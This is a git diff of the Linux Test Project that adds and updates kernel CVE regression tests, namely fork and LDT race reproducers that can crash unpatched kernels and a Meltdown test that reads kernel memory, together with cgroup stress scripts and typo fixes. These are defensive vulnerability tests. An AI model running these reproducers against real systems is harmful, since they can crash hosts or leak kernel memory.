+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-17052, original reproducer taken from kernel commit:
+ * 2b7e8665b4ff51c034c55df3cff76518d1a9ee3a
+ *
+ * CAUTION!!
+ * This test will crash unpatched kernels!
+ * Use at your own risk!
+ *
+ */
+
+#include <unistd.h>
+#include <pthread.h>
+#include <sys/wait.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+
+#define RUNS	   4
+#define EXEC_USEC  400000
+
+static int *do_exit;
+
+static void setup(void)
+{
+	do_exit = SAFE_MMAP(NULL, sizeof(*do_exit), PROT_READ|PROT_WRITE,
+		            MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+	*do_exit = 0;
+}
+
+static void cleanup(void)
+{
+	SAFE_MUNMAP(do_exit, sizeof(*do_exit));
+}
+
+static void *mmap_thread(void *arg)
+{
+	for (;;) {
+		SAFE_MMAP(NULL, 0x1000000, PROT_READ,
+				MAP_POPULATE|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
+		if (*do_exit)
+			exit(0);
+	}
+
+	return arg;
+}
+
+static void *fork_thread(void *arg)
+{
+	if (*do_exit)
+		exit(0);
+
+	usleep(rand() % 10000);
+	SAFE_FORK();
+
+	return arg;
+}
+
+static void do_test_fork(void)
+{
+	int status;
+
+	SAFE_FORK();
+	SAFE_FORK();
+	SAFE_FORK();
+
+	for(;;) {
+		if (SAFE_FORK() == 0) {
+			pthread_t t;
+
+			SAFE_PTHREAD_CREATE(&t, NULL, mmap_thread, NULL);
+			SAFE_PTHREAD_CREATE(&t, NULL, fork_thread, NULL);
+			usleep(rand() % 10000);
+			syscall(__NR_exit_group, 0);
+		}
+		SAFE_WAIT(&status);
+		if (*do_exit)
+			exit(0);
+	}
+}
+
+static void run(void)
+{
+	pid_t pid;
+	volatile int run = 0;
+
+	while (run < RUNS) {
+		pid = SAFE_FORK();
+
+		if (pid == 0) {
+			do_test_fork();
+		} else {
+			usleep(EXEC_USEC);
+			*do_exit = 1;
+		}
+		tst_res(TINFO, "run %d passed", run);
+		run++;
+	}
+
+	if (run == RUNS)
+		tst_res(TPASS, "kernel survived %d runs", run);
+	else
+		tst_res(TBROK, "something strange happened");
+}
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.cleanup = cleanup,
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/cve/cve-2017-17053.c b/testcases/cve/cve-2017-17053.c
new file mode 100644
index 0000000..e01db3d
--- /dev/null
+++ b/testcases/cve/cve-2017-17053.c
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Regression test for CVE-2017-17053, original reproducer can be found
+ * here:
+ * https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ccd5b3235180eef3cfec337df1c8554ab151b5cc
+ *
+ * Be careful! This test may crash your kernel!
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_ASM_LDT_H
+#include <asm/ldt.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <sys/syscall.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <stdio.h>
+
+#include "tst_taint.h"
+#include "lapi/syscalls.h"
+
+#define EXEC_USEC   5000000
+
+/* this is basically identical to SAFE_PTHREAD_CREATE(), but is tolerating the
+ * call to fail whenn the error is EAGAIN or EWOULDBLOCK */
+static void try_pthread_create(pthread_t *thread_id, const pthread_attr_t *attr,
+			       void *(*thread_fn)(void *), void *arg)
+{
+	int rval;
+
+	rval = pthread_create(thread_id, attr, thread_fn, arg);
+
+	if (rval && rval != EAGAIN && rval != EWOULDBLOCK)
+		tst_brk(TBROK, "pthread_create(%p,%p,%p,%p) failed: %s",
+			thread_id, attr, thread_fn, arg, tst_strerrno(rval));
+}
+
+/* this is basically identical to SAFE_FORK(), but is tolerating the
+ * call to fail whenn the error is EAGAIN or EWOULDBLOCK */
+static int try_fork(void)
+{
+	pid_t pid;
+
+	tst_flush();
+
+	pid = fork();
+	if (pid < 0 && errno != EAGAIN && errno == EWOULDBLOCK)
+		tst_brk(TBROK | TERRNO, "fork() failed");
+
+	return pid;
+}
+
+
+
+struct shm_data {
+	volatile sig_atomic_t do_exit;
+	volatile sig_atomic_t segfaulted;
+};
+static struct shm_data *shm;
+
+static void handler(int sig)
+{
+	(void)sig;
+
+	shm->segfaulted = 1;
+	shm->do_exit = 1;
+}
+
+static void install_sighandler(void)
+{
+	struct sigaction sa;
+
+	sa.sa_flags = SA_SIGINFO;
+	sigemptyset(&sa.sa_mask);
+	sa.sa_handler = handler;
+
+	SAFE_SIGACTION(SIGSEGV, &sa, NULL);
+}
+
+static void setup(void)
+{
+	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+
+	shm = SAFE_MMAP(NULL, sizeof(struct shm_data),
+			PROT_READ | PROT_WRITE,
+			MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+}
+
+static void cleanup(void)
+{
+	SAFE_MUNMAP(shm, sizeof(struct shm_data));
+}
+
+static void *fork_thread(void *arg)
+{
+	try_fork();
+	return arg;
+}
+
+void run_test(void)
+{
+	struct user_desc desc = { .entry_number = 8191 };
+
+	install_sighandler();
+	syscall(__NR_modify_ldt, 1, &desc, sizeof(desc));
+
+	for (;;) {
+		if (shm->do_exit)
+			exit(0);
+
+		if (try_fork() == 0) {
+			pthread_t t;
+
+			srand(getpid());
+			try_pthread_create(&t, NULL, fork_thread, NULL);
+			usleep(rand() % 10000);
+			syscall(__NR_exit_group, 0);
+		}
+	}
+}
+
+void run(void)
+{
+	int status;
+	pid_t pid;
+
+	shm->do_exit = 0;
+	shm->segfaulted = 0;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		run_test();
+	} else {
+		usleep(EXEC_USEC);
+		shm->do_exit = 1;
+	}
+
+	SAFE_WAIT(&status);
+
+	if (WIFEXITED(status) && shm->segfaulted == 0 && tst_taint_check() == 0)
+		tst_res(TPASS, "kernel survived");
+	else
+		tst_res(TFAIL, "kernel is vulnerable");
+}
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
+
+#else
+TST_TEST_TCONF("no asm/ldt.h header (only for i386 or x86_64)");
+#endif
diff --git a/testcases/cve/cve-2017-2671.c b/testcases/cve/cve-2017-2671.c
index b0471bf..5bdb37b 100644
--- a/testcases/cve/cve-2017-2671.c
+++ b/testcases/cve/cve-2017-2671.c
@@ -54,9 +54,8 @@
 
 static int sockfd;
 static unsigned int ping_min_grp, ping_max_grp;
-static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
+static struct tst_fzsync_pair fzsync_pair;
 static struct sockaddr_in iaddr, uaddr;
-static pthread_t thrd;
 static void *connect_b(void *);
 
 static void setup(void)
@@ -65,7 +64,6 @@
 	uaddr = iaddr;
 	iaddr.sin_family = AF_INET;
 	uaddr.sin_family = AF_UNSPEC;
-	fzsync_pair.delay_inc = 1;
 
 	if (access(PING_SYSCTL_PATH, F_OK))
 		tst_brk(TCONF, "socket() does not support IPPROTO_ICMP");
@@ -75,16 +73,14 @@
 	SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "0 0");
 
 	sockfd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
-	SAFE_PTHREAD_CREATE(&thrd, 0, connect_b, 0);
 	tst_res(TINFO, "Created ping socket, attempting to race...");
+
+	tst_fzsync_pair_init(&fzsync_pair);
 }
 
 static void cleanup(void)
 {
-	if (thrd) {
-		tst_fzsync_pair_exit(&fzsync_pair);
-		SAFE_PTHREAD_JOIN(thrd, NULL);
-	}
+	tst_fzsync_pair_cleanup(&fzsync_pair);
 
 	if (sockfd > 0)
 		SAFE_CLOSE(sockfd);
@@ -96,12 +92,10 @@
 
 static void *connect_b(void * param LTP_ATTRIBUTE_UNUSED)
 {
-	while(tst_fzsync_wait_update_b(&fzsync_pair)) {
-		tst_fzsync_delay_b(&fzsync_pair);
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+		tst_fzsync_start_race_b(&fzsync_pair);
 		connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
-		tst_fzsync_time_b(&fzsync_pair);
-		if (!tst_fzsync_wait_b(&fzsync_pair))
-			break;
+		tst_fzsync_end_race_b(&fzsync_pair);
 	}
 
 	return 0;
@@ -109,18 +103,14 @@
 
 static void run(void)
 {
-	int i;
-
-	for (i = 0; i < ATTEMPTS; i++) {
+	tst_fzsync_pair_reset(&fzsync_pair, connect_b);
+	while (tst_fzsync_run_a(&fzsync_pair)) {
 		SAFE_CONNECT(sockfd,
 			     (struct sockaddr *)&iaddr, sizeof(iaddr));
 
-		tst_fzsync_wait_update_a(&fzsync_pair);
-		tst_fzsync_delay_a(&fzsync_pair);
+		tst_fzsync_start_race_a(&fzsync_pair);
 		connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
-		tst_fzsync_time_a(&fzsync_pair);
-
-		tst_fzsync_wait_a(&fzsync_pair);
+		tst_fzsync_end_race_a(&fzsync_pair);
 	}
 
 	tst_res(TPASS, "We didn't crash");
diff --git a/testcases/cve/cve-2017-5669.c b/testcases/cve/cve-2017-5669.c
deleted file mode 100644
index 1ca5983..0000000
--- a/testcases/cve/cve-2017-5669.c
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
- * Copyright (c) 2017 Fujitsu Ltd. (Xiao Yang <yangx.jy@cn.fujitsu.com>)
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
-/*
- * Test for CVE-2017-5669 which allows us to map the nil page using shmat.
- *
- * When the bug is present shmat(..., (void *)1, SHM_RND) will round address
- * 0x1 down to zero and give us the (nil/null) page. With the current bug fix
- * in place, shmat it will return EINVAL instead. We also check to see if the
- * returned address is outside the nil page in case an alternative fix has
- * been applied.
- *
- * In any case we manage to map some memory we also try to write to it. This
- * is just to see if we get an access error or some other unexpected behaviour.
- *
- * See commit 95e91b831f (ipc/shm: Fix shmat mmap nil-page protection)
- */
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/shm.h>
-
-#include <stdio.h>
-#include <errno.h>
-#include <string.h>
-
-#include "tst_test.h"
-#include "tst_safe_sysv_ipc.h"
-
-static int shm_id;
-static void *shm_addr;
-
-static void setup(void)
-{
-	shm_id = SAFE_SHMGET(IPC_PRIVATE, getpagesize(), 0777);
-}
-
-static void cleanup(void)
-{
-	if (shm_addr)
-		SAFE_SHMDT(shm_addr);
-
-	if (shm_id)
-		SAFE_SHMCTL(shm_id, IPC_RMID, 0);
-}
-
-static void run(void)
-{
-	tst_res(TINFO, "Attempting to attach shared memory to null page");
-	shm_addr = shmat(shm_id, ((void *)1), SHM_RND);
-	if (shm_addr == (void *)-1) {
-		shm_addr = NULL;
-		if (errno == EINVAL) {
-			tst_res(TPASS, "shmat returned EINVAL");
-			return;
-		}
-		tst_brk(TBROK | TERRNO,
-			"The bug was not triggered, but the shmat error is unexpected");
-	}
-
-	tst_res(TINFO, "Mapped shared memory to %p", shm_addr);
-
-	if (!((size_t)shm_addr & (~0U << 16)))
-		tst_res(TFAIL,
-			"We have mapped a VM address within the first 64Kb");
-	else
-		tst_res(TPASS,
-			"The kernel assigned a different VM address");
-
-	tst_res(TINFO,
-		"Touching shared memory to see if anything strange happens");
-	((char *)shm_addr)[0] = 'P';
-
-	SAFE_SHMDT(shm_addr);
-	shm_addr = NULL;
-}
-
-static struct tst_test test = {
-	.setup = setup,
-	.cleanup = cleanup,
-	.test_all = run,
-};
diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c
index dce84a0..a53ea9b 100644
--- a/testcases/cve/meltdown.c
+++ b/testcases/cve/meltdown.c
@@ -189,7 +189,7 @@
 	for (i = 0; i < CYCLES; i++) {
 		ret = pread(fd, buf, sizeof(buf), 0);
 		if (ret < 0)
-			tst_res(TBROK | TERRNO, "can't read /proc/version");
+			tst_res(TBROK | TERRNO, "can't read fd");
 
 		clflush_target();
 
@@ -298,17 +298,17 @@
 	return addr;
 }
 
-unsigned long linux_proc_banner_addr;
-int banner_fd;
+static unsigned long saved_cmdline_addr;
+static int spec_fd;
 
 static void setup(void)
 {
 	set_cache_hit_threshold();
 
-	linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner");
-	tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr);
+	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
+	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
 
-	banner_fd = SAFE_OPEN("/proc/version", O_RDONLY);
+	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
 
 	memset(target_array, 1, sizeof(target_array));
 
@@ -316,37 +316,69 @@
 		tst_res(TBROK | TERRNO, "set_signal");
 }
 
+#define READ_SIZE 32
+
 static void run(void)
 {
-	unsigned int i, score, ret;
-	static char expected[] = "%s version %s";
-	static char read[32];
-	unsigned long addr = linux_proc_banner_addr;
-	unsigned long size = sizeof(expected) - 1;
+	unsigned int i, score = 0, ret;
+	unsigned long addr;
+	unsigned long size;
+	char read[READ_SIZE] = { 0 };
+	char expected[READ_SIZE] = { 0 };
+	int expected_len;
 
+	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
+	if (expected_len < 0)
+		tst_res(TBROK | TERRNO, "can't read test fd");
+
+	/* read address of saved_cmdline_addr */
+	addr = saved_cmdline_addr;
+	size = sizeof(addr);
 	for (i = 0; i < size; i++) {
-		ret = readbyte(banner_fd, addr);
+		ret = readbyte(spec_fd, addr);
 
 		read[i] = ret;
-		tst_res(TINFO, "read %lx = 0x%x %c", addr, ret,
+		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
 			isprint(ret) ? ret : ' ');
 
 		addr++;
 	}
 
-	for (score = 0, i = 0; i < size; i++)
+	/* read value pointed to by saved_cmdline_addr */
+	memcpy(&addr, read, sizeof(addr));
+	memset(read, 0, sizeof(read));
+	tst_res(TINFO, "save_command_line: 0x%lx", addr);
+	size = expected_len;
+
+	if (!addr)
+		goto done;
+
+	for (i = 0; i < size; i++) {
+		ret = readbyte(spec_fd, addr);
+
+		read[i] = ret;
+		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
+			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
+			expected[i], read[i] == expected[i]);
+
+		addr++;
+	}
+
+	for (i = 0; i < size; i++)
 		if (expected[i] == read[i])
 			score++;
 
+done:
 	if (score > size / 2)
 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
 	else
 		tst_res(TPASS, "I was not able to read your kernel memory");
+	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
 }
 
 static void cleanup(void)
 {
-	SAFE_CLOSE(banner_fd);
+	SAFE_CLOSE(spec_fd);
 }
 
 static struct tst_test test = {
diff --git a/testcases/cve/stack_clash.c b/testcases/cve/stack_clash.c
index f25e19b..ac4a31a 100644
--- a/testcases/cve/stack_clash.c
+++ b/testcases/cve/stack_clash.c
@@ -136,7 +136,7 @@
 	tst_run_cmd(cmd, NULL, NULL, 0);
 }
 
-void preallocate_stack(unsigned long required)
+void __attribute__((noinline)) preallocate_stack(unsigned long required)
 {
 	volatile char *garbage;
 
diff --git a/testcases/kdump/README b/testcases/kdump/README
index ba24a63..e895eb8 100644
--- a/testcases/kdump/README
+++ b/testcases/kdump/README
@@ -82,9 +82,9 @@
 complete" entry appears in that file, you're done. Verbose log can be
 found at /tmp/kdump-<date>.log.
 
-* The test machine would be unavailabe for any other work during the
+* The test machine would be unavailable for any other work during the
 period of the test run.
 
 * System may hang if incorrect partition information is provided for
 dumping, like specifying a partition which does not exist, specifying a
-parition label which does not exist. This is not ltp kdump bug.
+partition label which does not exist. This is not ltp kdump bug.
diff --git a/testcases/kdump/doc/README b/testcases/kdump/doc/README
index bd7cceb..d2ef163 100644
--- a/testcases/kdump/doc/README
+++ b/testcases/kdump/doc/README
@@ -82,9 +82,9 @@
 complete" entry appears in that file, you're done. Verbose log can be
 found at /tmp/kdump.log.
 
-* The test machine would be unavailabe for any other work during the
+* The test machine would be unavailable for any other work during the
 period of the test run.
 
 * System may hang if incorrect partition information is provided for
 dumping, like specifying a partition which does not exist, specifying a
-parition label which does not exist. This is not ltp kdump bug.
+partition label which does not exist. This is not ltp kdump bug.
diff --git a/testcases/kdump/lib/crasher/crasher.c b/testcases/kdump/lib/crasher/crasher.c
index fe72986..fcdf53a 100644
--- a/testcases/kdump/lib/crasher/crasher.c
+++ b/testcases/kdump/lib/crasher/crasher.c
@@ -26,9 +26,7 @@
 #include <linux/spinlock.h>
 #include <asm/uaccess.h>
 #include <linux/version.h>
-#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 4, 0)
-# include <asm/system.h>
-#endif
+#include <linux/uaccess.h>
 
 MODULE_LICENSE("GPL");
 
@@ -39,14 +37,24 @@
 
 #define CRASH "crasher"		/* name of /proc entry file */
 
+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,32)
 static int crasher_read(char *buf, char **start, off_t offset, int len,
 			int *eof, void *data)
+#else
+static ssize_t crasher_read(struct file *file, char __user *buf, size_t len,
+				loff_t *offset)
+#endif
 {
 	return (sprintf(buf, "\n"));
 }
 
+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,32)
 static int crasher_write(struct file *file, const char *buffer,
 			 unsigned long count, void *data)
+#else
+static ssize_t crasher_write(struct file *file, const char __user *buffer,
+			size_t count, loff_t *data)
+#endif
 {
 	char value, *a;
 	DEFINE_SPINLOCK(mylock);
@@ -84,6 +92,14 @@
 
 /* create a directory in /proc and a debug file in the new directory */
 
+#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)
+static const struct file_operations crasher_proc_fops = {
+	.owner = THIS_MODULE,
+	.read  = crasher_read,
+	.write = crasher_write,
+};
+#endif
+
 int crasher_init(void)
 {
 	struct proc_dir_entry *crasher_proc;
@@ -91,14 +107,19 @@
 	printk("loaded crasher module\n");
 
 	/* build a crasher file that can be set */
+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,32)
 	if ((crasher_proc = create_proc_entry(CRASH, 0, NULL)) == NULL) {
 		return -ENOMEM;
 	}
-#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 30)
 	crasher_proc->owner = THIS_MODULE
-#endif
 	crasher_proc->read_proc = crasher_read;
 	crasher_proc->write_proc = crasher_write;
+#else
+	crasher_proc = proc_create_data(CRASH, 0, NULL,
+	                                &crasher_proc_fops, NULL);
+	if (!crasher_proc)
+		return -ENOMEM;
+#endif
 	return 0;
 }
 
diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
index 11aae96..39d79c7 100644
--- a/testcases/kernel/Makefile
+++ b/testcases/kernel/Makefile
@@ -38,6 +38,7 @@
 SUBDIRS			+= connectors \
 			   containers \
 			   controllers \
+			   crypto \
 			   device-drivers \
 			   firmware \
 			   fs \
@@ -53,7 +54,6 @@
 			   security \
 			   timers \
 			   tracing \
-			   module \
 
 ifeq ($(WITH_POWER_MANAGEMENT_TESTSUITE),yes)
 SUBDIRS			+= power_management
diff --git a/testcases/kernel/connectors/connector_test.sh b/testcases/kernel/connectors/connector_test.sh
index 0742a1b..f92e10b 100644
--- a/testcases/kernel/connectors/connector_test.sh
+++ b/testcases/kernel/connectors/connector_test.sh
@@ -2,7 +2,7 @@
 
 if [ ! -f /proc/net/connector ];then
 	echo "Connectors 0 CONF : system doesn't support execution of the test"
-	exit 0
+	exit 32
 fi
 
 $LTPROOT/testcases/bin/run_pec_test
diff --git a/testcases/kernel/connectors/pec/pec_listener.c b/testcases/kernel/connectors/pec/pec_listener.c
index d11e4dc..9604059 100644
--- a/testcases/kernel/connectors/pec/pec_listener.c
+++ b/testcases/kernel/connectors/pec/pec_listener.c
@@ -296,7 +296,7 @@
 		} else {
 			switch (nlhdr->nlmsg_type) {
 			case NLMSG_ERROR:
-				fprintf(stderr, "err message recieved.\n");
+				fprintf(stderr, "err message received.\n");
 				exit(1);
 				break;
 			case NLMSG_DONE:
diff --git a/testcases/kernel/containers/README b/testcases/kernel/containers/README
index 0020938..f719a65 100644
--- a/testcases/kernel/containers/README
+++ b/testcases/kernel/containers/README
@@ -28,7 +28,7 @@
 CONFIG_USER_NS=y
 CONFIG_PID_NS=y
 CONFIG_NET_NS=y
-CONFIG_VETH=y
+CONFIG_VETH=y(or =m)
 CONFIG_MACVLAN=y(optional)
 
 The container test automation suite helps run the container functionality
diff --git a/testcases/kernel/containers/netns/netns_breakns.sh b/testcases/kernel/containers/netns/netns_breakns.sh
index 7073373..3ef8f98 100755
--- a/testcases/kernel/containers/netns/netns_breakns.sh
+++ b/testcases/kernel/containers/netns/netns_breakns.sh
@@ -61,7 +61,7 @@
 
 
 # TEST CASE #2
-tst_check_cmds ifconfig
+tst_test_cmds ifconfig
 $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth1 $IFCONF_IN6_ARG $IP1/$NETMASK 2>/dev/null
 if [ $? -ne 0 ]; then
 	tst_resm TPASS "controlling device over ioctl"
diff --git a/testcases/kernel/containers/netns/netns_helper.sh b/testcases/kernel/containers/netns/netns_helper.sh
index a95cdf2..a9d0459 100755
--- a/testcases/kernel/containers/netns/netns_helper.sh
+++ b/testcases/kernel/containers/netns/netns_helper.sh
@@ -110,7 +110,9 @@
 netns_setup()
 {
 	tst_require_root
-	tst_check_cmds ip
+	tst_test_cmds ip modprobe
+
+	modprobe veth > /dev/null 2>&1
 
 	case "$1" in
 	ns_exec)
@@ -137,7 +139,7 @@
 		;;
 	ioctl)
 		USE_IFCONFIG=1
-		tst_check_cmds ifconfig
+		tst_test_cmds ifconfig
 		;;
 	*)
 		tst_brkm TBROK \
@@ -166,7 +168,12 @@
 	ipv6)
 		IFCONF_IN6_ARG="inet6 add"
 		IP0=$6; IP1=$7;
-		tping="ping6"; NETMASK=64
+		if which ping6 >/dev/null 2>&1; then
+		    tping="ping6"
+		else
+		    tping="ping -6"
+		fi
+		NETMASK=64
 		;;
 	*)
 		tst_brkm TBROK "second argument must be an ip version (ipv4|ipv6)"
diff --git a/testcases/kernel/containers/pidns/pidns06.c b/testcases/kernel/containers/pidns/pidns06.c
index cdb4726..6afcc81 100644
--- a/testcases/kernel/containers/pidns/pidns06.c
+++ b/testcases/kernel/containers/pidns/pidns06.c
@@ -112,7 +112,7 @@
 	check_newpid();
 }
 
-int main()
+int main(void)
 {
 	int status;
 
diff --git a/testcases/kernel/containers/pidns/pidns13.c b/testcases/kernel/containers/pidns/pidns13.c
index e8ab7ce..003bb61 100644
--- a/testcases/kernel/containers/pidns/pidns13.c
+++ b/testcases/kernel/containers/pidns/pidns13.c
@@ -75,7 +75,7 @@
 	siginfo_t info;
 	struct timespec timeout;
 	pid_t pid, ppid;
-	int cinit_no = *((int *)arg);
+	intptr_t cinit_no = (intptr_t)arg;
 
 	/* Set process id and parent pid */
 	pid = getpid();
@@ -176,7 +176,6 @@
 int main(int argc, char *argv[])
 {
 	int status;
-	int *cinit_no = malloc(sizeof(int));
 	pid_t cpid1, cpid2;
 
 	setup();
@@ -186,18 +185,11 @@
 		tst_resm(TBROK, "parent: pipe creation failed");
 	}
 
-	/* container creation on PID namespace */
-	if (!cinit_no) {
-		tst_resm(TBROK, "memory allocation failed.");
-	}
-
 	/* Create container 1 */
-	*cinit_no = 1;
-	cpid1 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, cinit_no);
+	cpid1 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, (void*)(intptr_t)1);
 
 	/* Create container 2 */
-	*cinit_no = 2;
-	cpid2 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, cinit_no);
+	cpid2 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, (void*)(intptr_t)2);
 	if (cpid1 < 0 || cpid2 < 0) {
 		tst_resm(TBROK, "parent: clone() failed.");
 	}
diff --git a/testcases/kernel/containers/pidns/pidns20.c b/testcases/kernel/containers/pidns/pidns20.c
index e28bcbd..8d1fb9d 100644
--- a/testcases/kernel/containers/pidns/pidns20.c
+++ b/testcases/kernel/containers/pidns/pidns20.c
@@ -66,7 +66,7 @@
 static void child_signal_handler(int sig, siginfo_t * si, void *unused)
 {
 	if (si->si_signo != SIGUSR1)
-		tst_resm(TBROK, "cinit: recieved %s unexpectedly!",
+		tst_resm(TBROK, "cinit: received %s unexpectedly!",
 			 strsignal(si->si_signo));
 	else
 		tst_resm(TPASS, "cinit: user function is called as expected");
diff --git a/testcases/kernel/controllers/cgroup/.gitignore b/testcases/kernel/controllers/cgroup/.gitignore
index a7f8569..eb91cc4 100644
--- a/testcases/kernel/controllers/cgroup/.gitignore
+++ b/testcases/kernel/controllers/cgroup/.gitignore
@@ -1,3 +1,3 @@
-/fork_processes
-/getdelays
-/test_6_2
+/cgroup_regression_fork_processes
+/cgroup_regression_getdelays
+/cgroup_regression_6_2
diff --git a/testcases/kernel/controllers/cgroup/Makefile b/testcases/kernel/controllers/cgroup/Makefile
index 0cd60ad..0db0a7d 100644
--- a/testcases/kernel/controllers/cgroup/Makefile
+++ b/testcases/kernel/controllers/cgroup/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/controllers/cgroup test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Author: Ngie Cooper, July 2009
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_10_1.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_10_1.sh
new file mode 100755
index 0000000..38350c4
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_10_1.sh
@@ -0,0 +1,13 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+while true; do
+	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
+	mkdir cgroup/0 > /dev/null 2>&1
+	rmdir cgroup/0 > /dev/null 2>&1
+	umount cgroup/ > /dev/null 2>&1
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_10_2.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_10_2.sh
new file mode 100755
index 0000000..0a9bbb1
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_10_2.sh
@@ -0,0 +1,11 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+while true; do
+	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
+	umount cgroup/ > /dev/null 2>&1
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_3_1.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_3_1.sh
new file mode 100755
index 0000000..9b7e553
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_3_1.sh
@@ -0,0 +1,13 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+path=$1
+
+while true; do
+	mkdir $path/0
+	rmdir $path/0
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_3_2.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_3_2.sh
new file mode 100755
index 0000000..a68efea
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_3_2.sh
@@ -0,0 +1,10 @@
